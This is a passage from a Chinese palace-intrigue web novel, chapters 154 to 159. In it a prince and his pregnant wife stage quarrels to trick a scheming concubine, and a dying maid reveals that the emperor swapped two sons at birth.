“墨染冲动鲁莽,就算真有心争抢,也不足为惧。只是一想到他可能生了异心,儿臣难免心寒。”裴云澈叹了口气。 “云澈,你太过仁善,只是一条狗罢了。”皇后不屑的冷哼。 …… 宫道上,裴墨染与云清婳一前一后走着。 他的步伐很快,云清婳已有六个月身孕,根本追不上。 “夫君。”她扶着后腰,气喘吁吁的站在原地。 裴墨染回头看着她,心尖一软,他走回去,张开双臂抱住她。 “怪我,我没顾及到你。”他心酸道。 云清婳伸出手,一下下的轻拍他的背,“夫君没有错,不要听他们胡说。” “无论夫君做什么,我都会站在您这一边。” “蛮蛮,幸好,我还有你。”裴墨染的心空落落的。 就在这时,太监总管拿着拂尘,似笑非笑的走来,“肃王,陛下有请。” 裴墨染的眼中闪过迷茫。 圣上的心思,他揣测不来。 …… 云清婳在御书房外等候。 裴墨染一人进了御书房。 皇上坐在软榻上,手里捏着奏折,他苍老的双眼闪着矍铄的精光,炯炯有神。 第154章 你的脚快变成小猪蹄了 “圣躬安。”裴墨染跪地。 皇上慵懒的倚在引枕上,漫不经心道:“朕安。” “你治水有功,朕却只赏了你些宝物,没给你封赏,你可怨朕?” 裴墨染的眉眼与皇上极为相似,沉着脸的时候,显得有些凶。“父皇自有定夺,儿臣全听父皇的。” 皇上睨着与自己相似的年轻的脸,神色复杂,“如此甚好,退下吧。” 他的眼底流露出一丝落寞,“父皇,在边地时,儿臣好几次险些死于瓦剌的弯刀之下,可儿臣不惧,因为儿臣想象着父皇、母后会为儿臣欢喜、骄傲。” “说这些作甚?”皇上不耐的打断他的话,“你不是孩子了!退下!” “……是。”裴墨染缓缓起身,他像是被人打弯了脊梁,失魂落魄的转身离去。 他浑身的血液好像都被冻住,脑袋里乱糟糟的,思绪纷杂,如同一把稻草被付之一炬。 “夫君。”云清婳只看着他的表情,便知道结果。 看来皇上没有给裴墨染什么好脸色。 也难怪,毕竟皇上最宠爱的儿子是裴云澈,皇上心中的储君也是裴云澈。 “蛮蛮。”他的声音像是包裹着一层沙子。 云清婳握住他的手,柔声道:“没关系的。” 裴墨染冰凉的心,感受到一股暖流。 到了神武门,二人上了马车,他冷不丁开口:“宫人说,母妃是父皇最爱的女人,她因为生我难产薨世,所以父皇厌我恨我。” “夫君……” 云清婳想开口安慰他。 可裴墨染话锋一转,“我有什么错?他难道不应该怪他自己,害母妃怀孕吗?当时保大保小,他应该选择保大啊。” 云清婳:??? 她没想到裴墨染的思维这么正常,他这么不内耗。 云清婳张开双臂,隔着高高隆起的小腹,虚虚的抱他。 “蛮蛮,我感觉我很不幸,除了打仗,我好像什么都做不好。我想要的东西,也从来都得不到。”他将脑袋靠在她的肩膀上,疲惫的说。 他可是小说男主,他若是不幸,这世上就没有幸福的人了。 “我相信夫君,一定会实现抱负的。”她的声音清甜。 裴墨染的眼底闪出一抹狠厉,“对,倘若我得不到,裴云澈也别想得到。” …… 玄音阁。 晚上,裴墨染沐浴时,云清婳收到了相府的来信。 她打开信笺一看,眼前一亮。 “主子,这是什么?”飞霜好奇的问。 “是裴云澈派人炸毁西宁渠的证据。”云清婳终于明白为何裴云澈这次这么生气了。 这个局,从头到尾都是他布的。 目的就是给皇上一个借口,立他为储君,可没想到被裴墨染截胡,为他人做了嫁衣。 飞霜倒吸了一口凉气,愕然道:“他为了当储君,淹了一个郡?!” “呵,这可不是他第一次做这种事了。”云清婳的双眼冒出渗人的寒光。 当年为了抢占军功,他杀了姐姐的心上人顾笛风,还冤枉顾笛风私通南蛮。 消息传回京城,顾家满门只剩妇孺,可不日就被抄斩。 这也是压死姐姐的最后一根稻草。 “飞霜,我想毒死一个人。”云清婳冷不丁道。 飞霜眨眨眼睛,“主子不会是想直接毒死裴云澈吧?” 云清婳无奈的看着她,“你这丫头,想什么呢?我有这么蠢?” 她附在飞霜耳边,小声说了什么。 飞霜尽管不明白,可还是颔首,“是。” 裴墨染觉得自己山穷水尽了? 那她就替他,绝处逢生! “还有,清心阁的细作说,她在咱们殿里藏了毒,咱们可要把毒清出去?”飞霜问。 云清婳点点头后,又摇头,“自从我怀孕后,裴墨染看清心阁看得严。我不信藏毒之事,他没有察觉。既然他没有动,就说明他有了自己的盘算,咱们不能擅作主张。” 毕竟在裴墨染心中,她是一朵不谙世事的小白花。 倘若裴墨染发现毒被她清理了,岂不是坏了她单纯善良的人设? 主仆正说着,裴墨染从浴室走出来。 云清婳将信笺递给裴墨染,“这是爹爹送来的,或许对夫君有用。” 他打开信笺,随意的看了一眼,眸中虽然有惊喜,但并不多。 “蛮蛮,云家对我的帮扶,我都记在心里。”他的嘴角弯了弯。 云清婳猜测,这些证据裴墨染也查到了。 但无所谓,她此举只是为了表忠心罢了。 “不必说这些,我们是一家人啊。”她的双眼清泓。 他的心中很熨贴,他将她抱上床榻。 云清婳惊呼了声,羞赧道:“您别抱我,太重了。” “重什么?你加上孩子这么轻,日后要多吃点。”他轻轻将她平放在榻上,为她脱去绣花鞋。 云清婳倒吸了口凉气。 “怎么了?”裴墨染蹙眉。 “身子太重,脚肿了。”她叹了声。 裴墨染抓住她的脚踝,给她按捏着脚心,“我给你揉揉。” 大昭并不责令女子裹脚,但云清婳的脚生得小巧,脚趾颗颗莹润,如同白玉,很漂亮。 他的手上长了茧子,手劲不重不轻,力道足够,的确捏得不错。 云清婳舒服的喟叹。 可表面功夫还是要做的! 她缩着腿,极力抗拒着他的触摸,“您别这样……您怎么能给我揉脚呢?” “为何不行?”裴墨染不以为然的反问。 “可是……” 他跟哄孩子似的,揶揄道:“你的脚肿得亮晶晶的,都快变成一对小猪蹄了。” “你才是猪!”她的小腿使劲一蹬。 肉绵绵的脚踹到他的脸上。 裴墨染的表情凝固住了一瞬。 二人都有些惊愕。 “你踹我?”他沉下脸。 云清婳怯生生的想要缩回脚,可他钳住她的脚踝。 他冷嘁一声,继续给她揉,“装什么呢?你怕我?” 她抿着下唇,嗤嗤的笑了,肩膀颤动。 入睡前,裴墨染将她的脚放到他的腿上。 “您干什么?”她问。 “这样你舒服一些。蛮蛮,辛苦你了。”他沉声道。 云清婳觉得难得。 狗男人终于干了件人事。 …… 晌午,裴墨染从北镇抚司一回府,便去了清心阁。 他喂苏灵音喝了汤药,“伤口还疼吗?” “王爷给妾身揉揉,妾身就不疼了。”苏灵音俏皮的笑。 裴墨染吐出一口浊气,膈应不已。 这个女人究竟有没有羞耻心? “不知羞!还没结痂呢,揉坏了怎么办?”他的眼神里透着心疼,嘴上却在训斥。 苏灵音甜蜜的笑了,“王爷这是心疼了!?” “……”裴墨染不想回话了。 贴身太监站在后面,虚虚抹了把头上的汗。 这个苏侧妃能不能别膈应人了? 第155章 蛮蛮暴打苏绿茶 在苏灵音的角度看来,他这是害羞的表现。 忽的,一个婢女小跑进来,“不好了,王妃把巧慧姐姐抓走了。” “巧慧?!”苏灵音露出痛惜的表情,她求助的看向裴墨染。“王爷,巧慧不会受伤吧?我好怕……” 裴墨染的脸色骤然黑沉,“怎么回事?” “巧慧姐姐看厨房有燕窝,就想端一盅给苏侧妃补身子,可飞霜不肯,二人就争执起来。王妃便把巧慧姐姐抓走了。”婢女都吓傻了,小脸惨白。 苏灵音的心中嘉奖起了巧慧,这丫头还算机灵。 “去把巧慧带回来,就说是本王说的!”裴墨染冷声吩咐。 “是。”贴身太监忙不迭跑出去。 可很快,贴身太监就苦着脸折返回来。 裴墨染正欲问缘由,云清婳就扶着后腰踏进门中,她阴阳怪气道:“不用了,我亲自把丫鬟送回来了,放心吧。” 裴墨染的表情风云变幻,他叹了口气,“蛮蛮,一盅燕窝而已,何必跟婢女计较?折损了体面?” “此事是婢女不懂规矩,抢夺在先。苏侧妃受伤了,可我也有六个月身孕,我身为正妃教训婢女,何错之有?”云清婳不卑不亢的反问。 “究竟是为了立规矩,还是刻意针对,你自己心里清楚。”裴墨染讽刺。 “……”云清婳难以置信的看着他,眼泪在眼眶打转。 苏灵音摇了摇裴墨染的胳膊,落落大方道:“王爷,别这样,王妃怀孕了,不能受气的。” 云清婳冷眼睨着苏灵音。 苏灵音的嘴角勾出一抹挑衅的笑。 呵呵,云清婳,你江郎才尽了! “王妃,灵音替本王挡了一刀,命在旦夕,还不配吃你一盅燕窝吗?你何时变得这么斤斤计较?”他明晃晃的讽刺。 云清婳难以置信的看着他,赌气般的甩袖离开。 裴墨染叹了一声,“灵音,你别往心里去,蛮蛮之前不是这样的。” “我知道,王妃温婉大度,只是怀孕太累,难免多思。”苏灵音善解人意道。 她没有想过,仅凭三个月的朝夕相处就把云清婳从裴墨染的心中剔除。 但是,裴墨染至少有三分喜欢她了。 而云清婳在他心中的形象大打折扣。 “唉……”裴墨染捏了捏鼻梁,“灵音,为何她们一个二个都恃宠而骄,都会变得不能容人?” 苏灵音靠在他的怀里,贴心的说:“王妃只是太在乎您了。” 裴墨染闻到她身上的香粉味,觉得很刺鼻,都快呼吸不过来。 他推开她,不动声色的起身,“灵音,本王还有政务,你好生养身子。” 裴墨染离开清心阁后,又去了玄音阁。 寝殿中,云清婳正捏着帕子擦眼泪。 飞霜轻拍着她的背脊,“主子,别哭了,对孩子不好。王爷不是有心的,您们不是说是逢场作戏吗?” 云清婳摇摇头,“我只是心疼夫君,夫君腹背受敌,我却不能帮他什么。” “皇上不偏爱他,皇后跟贤王也在利用他,他建功立业,可所有人都视而不见。” 飞霜叹气,“贤王又没子嗣,王爷有子嗣啊!您跟云家,便是王爷最大的后盾。” 门外,裴墨染听到这些,心中一片熨贴。 从前或许他只有一个人,但现在他还有蛮蛮跟孩子。 他推门走进来,他俯下身给她擦眼泪,“怎么又哭了?” “夫君?!”云清婳的小嘴半张着,像是被吓到了。 而飞霜也脸色惨白,膝盖砰的砸到地上,“奴婢该死。” “退下吧。”裴墨染懒得计较,他示意她退下。 “夫君,您都听见了?我……”她心虚不已。 他的心脏重重的跳动着,心中尽是无限的感动,他抱着她,“无妨。” 云清婳就知道他不会介意。 她们演这一出,就是为了提醒裴墨染,他身后除了她,空无一人。 爱会转移,但恩情不会。 “接下来,要演什么?”云清婳好奇的问,她虽然纵观全局,但实在摸不透裴墨染。 “把你禁足。”他一字一顿。 她翻了个白眼,推开他,“裴墨染,我看你就是想把我关起来!这样你就好跟苏灵音缠缠绵绵了!把我卖了,还想让我帮你数钱吗?” 裴墨染就知道她会恼,他哄道:“又不是真的,你不演,苏灵音怎会放松警惕?” 云清婳狠拧了把他的胳膊,“夫君,您日后若是不对我好,对孩子好,一定会受到惩罚的。” 他轻笑,“好,我发誓,倘若我负了蛮蛮,天打雷劈。” 她连忙捂住他的嘴,心疼道:“我信您,别说了。” 裴墨染欣慰的笑了,“明日你好好演。” …… 翌日。 云二公子被苏家公子从御史台推下的消息就传遍了朝野。 云清婳的脑袋乱糟糟的。 她怀疑二哥是受了她的启发,在诬赖苏家。 “二公子真好笑。”飞霜肚子都笑疼了。 她嫌弃的咧嘴,“二哥没摔坏吧?” “二公子您还不知道啊?只要护住他那张脸,摔断胳膊都不在乎。”飞霜打趣。 云清婳扶着后腰,带着几个婢女、婆子,大张旗鼓的去往清心阁。 魏娴正好前来,她看到云清婳,立即问:“蛮蛮,你这是……” “阿娴,你来了正好,走,打苏灵音去。”云清婳道。 魏娴:??? “这不太好吧?你肚子都这么大了,若是冲撞了胎儿该如何是好?”魏娴觉得云清婳最近有点奇怪。 这不像是她的作风。 她究竟在谋划什么? 云清婳冲她眨眨眼,“放心吧,我心里有数。” 魏娴颔首,“我跟你去。” …… 清心阁。 门被婆子粗鲁的推开。 苏灵音正在喝药,她抬起眼皮看见云清婳,毫不意外。 “你们苏家人都这么喜欢推人吗?”云清婳气势汹汹的质问。 苏灵音的眼底露出讥讽,“王妃是不是说谎太多,所以把自己也给骗了?云家人的路数,真是出奇的一致啊。” 云清婳像是被激怒的猫,登时炸毛了,“你们怎么敢动我二哥?” 她扬起手,狠甩了苏灵音一巴掌。 啪—— “啊……”苏灵音的眼泪水瞬间流下,“王妃,云二公子发生什么事了?与妾身何干啊?妾身在养伤啊。” 第156章 夫妻俩演戏,卡壳了 “还狡辩!”云清婳又甩了一巴掌过去。 她的手心火辣辣的疼。 苏灵音的嘴角又出血了,她捂着脸,双眼噙着泪,“您就算是王妃,也不能这样苛待妾身啊!妾身问心无愧,怎能无端受罚?” 就在云清婳再次举起手时,她感到腕上传来了沉重的力道。 “住手!”裴墨染高声斥道。 云清婳红了眼,哭着告状:“王爷,他们今日又将二哥推下御史台!” 裴墨染甩开她的手,转而心疼的捧着苏灵音的脸,“传府医!再拿些冰块!” “王爷呜呜呜……您终于来了!妾身的脸好疼,伤口也疼。”苏灵音扑进他怀里撒娇。 裴墨染埋怨的剜了一眼云清婳,“灵音,你的伤口疼吗?不会裂开吧?” “我不知道,王爷,我好害怕……”苏灵音跟猫儿似的,脸蛋蹭着裴墨染的胸口。 裴墨染跟护着宝贝似的,挡在苏灵音面前,“王妃!灵音为本王挡刀,她的伤口还没痊愈,你怎能下得去手?” “苏家公子把二哥推下了御史台!他们苏家就是跟我们过不去!”云清婳咬牙切齿。 “本王亲眼看见是云二公子自己失足,跟苏家没关系!就算跟苏家有关,灵音已经是本王的女人,她什么都不知道,你为何对她动手?”裴墨染高声呵斥。 苏灵音轻轻扯了下裴墨染的衣袖,“王爷,您不要怪王妃,妾身只是挨了两巴掌,没关系的。” 这番话佛口蛇心,茶味浓得不行。 裴墨染心疼的为她揩去唇边的血,“傻瓜,你还为她求情。” 这个举动刺疼了云清婳的双眼,她红着眼质问:“王爷,您一定要袒护她吗?” 苏灵音躲在裴墨染身后,瑟瑟发抖,如同一只受惊的小兔子。 可实则,她在暗爽。 你二哥不过跌下台阶,你就这么心疼。 可我的堂妹呢?我娘呢? “王妃,你一定要针对灵音吗?你看看你哪有半分王妃的德行?”裴墨染一掌拍在桌上。 众人下跪俯首,大气不敢出。 “……”云清婳卡壳了。 她不知道怎么接话。 二人大眼瞪小眼愣住了。 裴墨染:该你说了。 云清婳:我不知道说什么。 “西宁郡的三个月,你连一封书信都不曾传来!沈沁刺伤本王,你却只顾自己,躲闪在一边!你何时变得这么自私了?你心里只有你自己,只有云家,可还有本王?”裴墨染失望的指责。 云清婳的眼泪落下,她哽咽道:“那是因为我……怀孕了。” 他重重甩袖,“怀孕了,就不能写书信吗?你做不到的事,自有旁人来做。你不仅不反省,还针对一片真心的灵音,你何时变得这么善妒狠毒?” “我善妒狠毒?你才善妒狠毒。”云清婳又卡壳了。 裴墨染:…… 贴身太监扶额,王妃到底会不会吵架啊?跟个小孩似的,车轱辘话来回说。 婢女瑟瑟发抖。 魏娴都不禁倒吸了口凉气。 苏灵音哭着,愤愤不平道:“王妃,您责骂妾身也就罢了,可您怎能污蔑王爷?” “云清婳!你哪有半分第一贵女的模样,不尊夫婿、虐待侧妃,你给本王退下!”裴墨染指着大门。 “走就走!” 裴墨染:…… 为什么他觉得蛮蛮很可爱? 云清婳甩袖正欲走,可苏灵音怎会容许? 扑哧—— 苏灵音捂着胸口,吐出一口深紫色的血。 “啊……主子吐血了!”巧慧尖叫。 “快传府医!”裴墨染紧张的搂抱住她,“灵音,你没事吧?” 很快,府医就把出中毒的脉象。 “苏侧妃这是中了夹竹桃的汁液啊。” 巧慧哭道:“莫不是清心阁出了内鬼?夹竹桃只有清心阁才有啊。” “给本王好好搜查!”裴墨染握着苏灵音的手,“灵音,你放心,本王一定会为你主持公道。” “王爷……”苏灵音腻歪的倒进裴墨染的怀里。 少顷,贴身太监就捧着一瓶药走来,他欲言又止,“王爷……找到了。” “在哪里找到的?”裴墨染问。 贴身太监看向云清婳,吞吞吐吐:“在,在,在玄音阁的槐花树下。” 裴墨染的呼吸变得沉重起来,眼神中又惊讶,但更多的是失望。 “呜呜呜没关系的,妾身就当没听见。”苏灵音捂着脸,呜咽的哭着。 “有人诬陷我!我根本不知道这瓶药是什么时候被埋进玄音阁的!”云清婳的表情慌张又委屈。 飞霜哭道:“一定是有人陷害主子!” 裴墨染推开苏灵音,他起身,走到云清婳面前,“王妃,本王对你太失望了!本王好像都不认识你了!” “我云清婳向来光明磊落,此事不是我做的,王爷不要被骗了!”她昂首挺胸,字字铿锵。 苏灵音哭得一抽一抽的,她又呕出了一滩血,“王爷,算了吧!妾身没事!” 她的脸色发青,浑身冒着冷汗,摇摇欲坠。 裴墨染眼底一片痛惜,他缓缓吐出一口气,“王妃,你针对灵音不是一天两天了,不是你做的,是谁做的?你跟灵音道歉,此事,本王可以当做不知道。” 毕竟众人皆知他对蛮蛮宠爱有加。 若是直接罚蛮蛮,未免会让人生疑。 “王妃,您快说啊!王爷是真的生气了,您别倔强了。”苏灵音苦口婆心的劝道。 她知道云清婳是出了名的清高,更何况受了冤屈? 别人越劝,她就会越倔! “苏灵音,你别惺惺作态了!”云清婳瞪她,一身傲骨,“王爷,我不会道歉的!此事不是我做的,我为何道歉?” “你真是屡教不改!”裴墨染的脸上流露出不忍。 可他转身看到苏灵音的瞬间,眼中的纠结化作了坚定,“将王妃带回玄音阁,禁足三个月,静思己过!” 苏灵音的眼底跳动着喜悦的光。 “王妃,请吧。”几个婢女上前,要带走云清婳。 云清婳脸上的颜色十分精彩,从惊讶变成后悔,最后化为一丝惊慌。 这些神色被苏灵音尽收眼底。 看到云清婳的脸跟开了染坊似的,她险些笑出声。 云清婳的这个毒妇,现在知道后悔了? 第157章 双胎 “什么?王爷!我肚子里怀着您的孩子啊!您怎么忍心将我禁足?我们的感情您都忘了吗?”云清婳凄凄地抓住裴墨染的衣袖,崩溃大哭。 裴墨染看她撕心裂肺的模样,忍俊不禁。 他咬着下唇,偏过脑袋,在苏灵音看不到的角度,强行憋笑。 云清婳:??? 他疯了吗? 狗男人能不能专业点? 对手演员演技太差,会把她也给带笑场的! “你是在质问本王吗?王妃,你要记住自己的身份!”他呵斥。 “王爷!我不能被禁足,您不在乎孩子了吗?您不要我们的孩子了吗?”她哭着卖惨。 裴墨染怒道:“本王这是让你涨涨教训,免得下次再犯!” 云清婳对他做出口型——推开我。 他迟疑着,将她的手轻轻从胳膊上拿下。 他怎敢推她? 蛮蛮的身子这么重。 “将王妃带走!”他下令。 几个婢女将云清婳强行拽走。 “王爷,此事有蹊跷,您要严查啊!”云清婳噙着泪道。 苏灵音在心中冷嘁。 这男人真凉薄啊,居然把怀了孕的妻子禁足。 魏娴看傻眼了。 不是,蛮蛮跟王爷今日都好奇怪! “王爷,妾身也觉得此事有蹊跷。”魏娴顺着他们演戏。 “别说了!你若是有心,就劝劝王妃,化解她身上的怨气。”裴墨染摆摆手,示意她退下。 魏娴欲言又止,只好离开。 苏灵音露出感动的表情,她张开双臂抱着裴墨染,“王爷,王妃也是太在乎您了,才做了错事。” “本王也不忍心,可本王最恨阴谋算计,让她冷静冷静也好。”他显然不愿多提。 苏灵音撒娇道:“可是王妃怀孕了,王爷得顾及孩子啊。” 裴墨染揉揉她的脑袋,“她差点要了你的命,本王此举,不仅是为了你,也是为了给母后一个交代。” “嗯。”她面露懵懂,似懂非懂地颔首。 她的眼底灿若星子。“王爷,妾身也会努力怀上孩子的。” 裴墨染起了一身鸡皮疙瘩。 他不稀罕! 这种蠢笨、歹毒女人的血脉,他膈应。 …… 晚上,裴墨染睡下后,苏灵音蹑手蹑脚地走到偏殿。 她将一包药粉递给巧慧,“想办法下给云清婳,她肚中的杂种,不能留了。” “是。” 可很快,就传出云清婳被太后召进宫诵经的消息。 苏灵音气闷不已,当即呕出了一滩血。 “云清婳可真是不容小觑啊,都被禁足了,还能绝处逢生。” 巧慧心疼地拍了拍她的背,“主子,云清婳进宫了也好,没了绊脚石,您跟王爷就能增进感情了。” 苏灵音冷嘁,“躲得过初一,她躲得过十五吗?也罢,先放过她的孽种。” …… 慈宁宫。 太后看到大腹便便的云清婳,眉头紧锁,“清婳,你跟墨染是怎么了?哀家那鲁莽的孙儿,是不是又欺负你了?” 云清婳摇摇头,她轻快地说道:“让皇祖母费心了,臣妾跟夫君很好。” 桂嬷嬷扶着云清婳坐下,给她端上早就熬好的安胎药。 “处处都有眼睛盯着,你不说,肃王府的事,哀家也有所耳闻。哀家那不长眼的孙儿,莫不是被苏家那丫头迷了心窍?”太后拨弄着手中的蜜蜡佛珠。 她低头一笑,“皇祖母放心,夫君有自己的盘算。” 太后盯着她的脸看了半晌,见她眉眼间毫无愁色,渐渐放下心来,“昨日你向哀家请旨进宫,哀家还以为墨染为难你了。” “臣妾让您担心了。”云清婳起身福礼。 桂嬷嬷不由得蹙眉,“王妃,六个月的身孕,您这肚子大了些。” 太后蹙眉,双眼乌溜溜的,“清婳,膳食要自己人看着,胎儿大了,不好生产。当年墨染的母妃便是中了此计,难产血崩而死。” “臣妾怀了双胎。”云清婳跟飞霜相视一笑。 为了怀双胎,她让飞霜研制了不少药,她吃了不少苦。 幸亏,得偿所愿。 “双胎!”太后喜笑颜开,她从上首下来,亲手摸了摸云清婳的肚子。 桂嬷嬷连忙恭喜,“这可是天大的喜事,大昭最讲究这个,龙凤胎是风调雨顺、龙凤呈祥之气象!极好的兆头。若是两位公子,那也是极好的!” “臣妾不敢跟旁人说,连夫君都不知道。”她道。 “快召江太医来请脉。”太后命令。 婢女立即去请人。 太后解释:“放心,江太医是自己人,清婳,你留下脉案,免得将来有小人诬陷你。” “多谢皇祖母。”她甜声说。 她特意进宫,为的就是留下脉案。 该她进攻了! 她要给皇后、苏灵音挖坑、埋雷。 江太医把完脉后,三缄其口,对外只说太后的咳疾犯了。 …… 翌日。 安宁公主前来慈宁宫探望太后,可明里暗里都在提少年将军谢泽修。 少女怀春的心思,谁都看得出来。 太后便找了个由头,将谢泽修召来。 谢泽修看见云清婳,眼神炽热。 他当场拒了安宁公主,这引得安宁哭得好不伤心。 风声传出去不久,裴墨染也从北镇抚司匆匆赶进宫了。 他按照规矩,先去给太后请安。 “皇祖母,蛮蛮呢?”他环顾一周。 太后端起茶杯,悠悠地抿了口茶,半晌才开口:“你不是把人禁足了吗?现在又找她作甚?” “事出有因,孙儿将来再跟您解释。”裴墨染腾地站起身,心急得声音都大了。 桂嬷嬷笑道:“王爷,老奴愚见,许多事都是论迹不论心的。不管有什么隐情,受了委屈的人,就是受了委屈。” “本王知道!”裴墨染恨不得立即抽身出去找云清婳。 就在这时,云清婳掀开纱幔,从后面的佛堂走出来。 看到裴墨染,她佯装惊喜,“夫君!” “蛮蛮。”裴墨染快步走上前,抓住她的双手。 看着小夫妻二人情意绵绵,太后不由得笑了,她揶揄:“也就清婳气量好,能忍受你。” 裴墨染有口难辩,他道:“蛮蛮,你是不是在皇祖母面前说我坏话了?” “没有呀。”她粲然一笑。 裴墨染委屈地看向太后,埋怨道:“皇祖母,我才是您的亲孙子!您太护着蛮蛮了!” “谁让清婳比你讨人喜欢?”太后慈祥地笑了。 云清婳也嗤嗤地笑了。 裴墨染将云清婳拉去偏殿的寝屋,二人坐在榻前。 “夫君,您怎么大白天来了?若是皇后跟苏灵音起疑怎么办?”她担忧道。 他幽怨地睨着她,“我再不来,谢泽修都要把你勾走了。” “呸!”她砸了他一拳,“你又发疯!” 第158章 本书最大的秘密,反转 “好,不提他!”他捏着她的手,有一搭没一搭的聊天,“昨日你演得太差了!跟小孩吵架似的,幼稚!” 云清婳翻了个白眼,可以侮辱她别的,但不能质疑她的演技。 她奚落道:“您还好意思说我?您才差,您都笑了!” “那是被你影响的!我从未出过这么大的差错。”他一本正经道。 贴身太监揩去额上的汗。 他觉得两位主子,真的像极了孩子。 “你说谁更差?”裴墨染跟云清婳异口同声,二人的目光齐齐射向他。 贴身太监:??? 真是祸从天上来! “其实……”贴身太监舔了舔唇,豆大的汗珠从鬓角流下,“奴才觉得,奴才演得也不错。” “???” 裴墨染冷不丁笑了。 云清婳也笑了。 她将裴墨染留到了晚上,直到飞霜敲门,她才赶裴墨染走。 这是她进宫的第二个目的! 她要送给裴墨染一份大礼! 这本小说最大的真相,马上就要揭开了。 “快回府吧,不然苏灵音要起疑了。”她将他送到了门口。 裴墨染不舍的看着她,“蛮蛮,你无端要陪我演这么多戏,苦了你了。” “夫君哪怕想要摘星逐月,蛮蛮都想祝您一臂之力,百死无悔。”她的眼里满是爱慕。 贴身太监心里不由得折服。 啧啧! 王妃的嘴太会说了,别说王爷动容,他都动容。 裴墨染深深看了她一眼,披着月光,转身离开,身影逐渐消失在夜色里。 后宫的宫道上,时不时传来咳嗽声。 暗处的人,似乎要把肺都咳出来了。 咳咳咳—— 一个白发苍苍的嬷嬷,坐在地上,双眼发着精光,紧紧盯着裴墨染。 裴墨染蹙眉,“这是何处?” “居安所,留置无儿无女的年老宫女的地方。”太监解释。 裴墨染觉得晦气,他加快脚步,想要离开。 咳咳咳—— 那嬷嬷忽然,呕出一口黑血,她倚靠在宫墙上,看起来命在旦夕。 “王爷,留步!”她苍老的声音传来。 “……”裴墨染没搭理。 “肃王!”嬷嬷高呼。 裴墨染停下了脚步,他转过身,冷簌簌道:“让人把她抬回寝屋,请太医给她看看。” “肃王,老奴是宸妃的贴身宫女,老奴有话要说。”嬷嬷颤颤巍巍的从怀里拿出一张泛黄的烧了一半的画像。 裴墨染走上前,居高临下望着她,看到画像的刹那,他的瞳孔紧缩。 “这是……母妃的画像?”他道。 嬷嬷一边吐血一边道:“您是皇后的儿子,贤王才是宸妃的儿子!陛下交换了您们,陛下想要贤王当嫡子……” 裴墨染的瞳孔一震,“快找人救她!” “是!”贴身太监心如擂鼓,朝着太医院跑去。 嬷嬷将画像举起来,递给他,“老奴良心不安啊,老奴不想下地狱……” 她倒在地上,缓缓阖上了双眼,断了气。 裴墨染的心跳剧烈,好像快要炸开。 惊喜、埋怨、悲哀的情绪冲刷着他的心脏,他已经不知道自己该如何面对了。 他接过画,画上是父皇为宸妃描眉,画的背面题字:卿卿莲衣,见字如晤。卿卿音容相貌宛在,朕辗转难眠。朕已将云澈与皇后逆子交换,云澈即大昭嫡子,将来必会继承大统。 “呵……”裴墨染冷笑一声,眼眸却发酸发热。 他争了这么久的东西,原本就该属于他! 父皇玩弄了他这么多年,母后也伤害了他这么多年,他们真是狠心啊。 裴墨染的腔子里像是被灌满了酸醋,酸酸麻麻,快要胀开。 他紧紧攥着画像,现在只有一个念头——想见蛮蛮! 他想将这个“惊喜”分享给她。 告诉她,他们有希望了! 轰隆—— 天上传来一声闷雷,雨沙沙的落下。 他被惊雷惊醒,理智从杂乱的思绪里拉回来。 他如获珍宝般将画像揣进怀里,像是拿到了最大的筹码,转身离开。 …… 风雨飘摇,惊雷阵阵。 飞霜将窗子紧紧掩住,又把纱幔拉紧。 “主子,那位嬷嬷应该已经死了。”飞霜道。 云清婳颔首,“她罪有应得!” 皇上因为一己之私,交换了两个孩子的人生,手段低劣龌龊。 那个嬷嬷对宸妃忠心耿耿,却蹉跎了裴墨染二十三年,更是可恨。 本来嬷嬷还能多活一年才病死的,可她等不及了,给嬷嬷下了毒。 …… 裴墨染回府后,当即宣苏灵音去了长信殿。 苏灵音鼓着嘴,一脸幽怨,“王爷今日回来得好晚。” 他叹了口气,从她身后环住她的腰,“知道你聪明,本王去见蛮蛮了。” “您一点都不心疼我。”苏灵音的眼泪落下。 “吃醋了?本王新得了些宝物,一会儿都赏给你。”他为她揩去眼泪,“她毕竟怀有身孕,本王想劝她悔改,可又吵了一架。” 苏灵音楚楚可怜道:“妾身才不要宝物!王爷,妾身想被您疼爱,您面对妾身的时候,能不能别提王妃?演戏骗骗妾身也好。” 裴墨染在心里冷笑。 如你所愿,本王一直在骗你。 “你也是本王的妻子,本王何须骗你?” 话毕,他将她抱上榻,共赴云雨。 苏灵音的心颤抖不已,嘴角忍不住甜蜜的上弯。 裴墨染说她是他的妻…… …… 夜半,苏灵音轻手轻脚地下榻,她走到书桌前,小心翻阅了半晌,找到了受贿的名册。 看到受贿名册,她瞳孔地震。 裴墨染真黑心啊。 居然连赈灾款都贪,不仅受贿,还索贿! 她生而不凡,从小便能过目不忘,她只把名册看了两遍,就把几十位行贿官员、行贿礼品一一对应地背了下来。 这些,会是裴云澈要挟裴墨染最有利的武器! 有了这个,不怕裴墨染起异心。 黑暗里,裴墨染的眼底划过精光。 …… 没几日,皇后头风犯了。 苏灵音趁机打着探望的名头进了宫。 她将在长信殿看见的收受贿赂的名单拟好,交给了皇后。 皇后捏着名单,眼角笑出了褶子,她夸奖道:“妙啊!灵音,你真是再世女诸葛!” 第159章 臣妾告发肃王妃私通 “我不敢忘了姑母的嘱托!只有表哥好,我们苏家才能世代不倒。”苏灵音眼底满是骄矜。 “这些人平日里的确跟裴墨染走得近,应该没错了!”皇后冷笑,“大昭近来整治贪腐成风,裴墨染还敢顶风作案、见钱眼开,真是上不得台面!跟他娘一个德行。” 苏灵音闻言,皱了皱眉。 皇后忽然想到了什么,她道:“云清婳的饮食你可知?她喜酸还是喜辣?” “这……”苏灵音摇摇头。 “回府后就去厨房问!酸儿辣女十有八九是不会出错的!她若是怀了儿子,一定要做掉!裴墨染的长子,只有你能生。”皇后语重心长。 苏灵音羞涩的脸蛋泛红,她颔首。 巧慧福福身,“皇后娘娘,奴婢发觉有一事不对!” “你说。”皇后扬了扬下巴。 “云清婳的肚子太大了些,奴婢见过怀孕六个月的妇人,可云清婳的肚子像极了八个月的……”巧慧的表情阴狠。 皇后跟苏灵音猛地对视。 这是她们都没注意到的! “赏!”皇后摆摆手,“本宫赐给她的镯子里有麝香息肌丸,她怎么可能怀孕?只有一种可能,她早就珠胎暗结。” 苏灵音的笑容灿烂,“呵!难怪云清婳不顾孩子,故意从二楼跌下去,她果然有鬼!只是,奸夫是何人呢?” “这个不重要!只要她名声扫地就够了。”皇后的眼珠子一轮,“奸夫可以是谢泽修!” “对!端午宫宴上我就发现,谢泽修看云清婳的眼神不清白!但此事,不能由我们来说。” …… 很快,云清婳腹中胎儿月份对不上的事情就传开了。 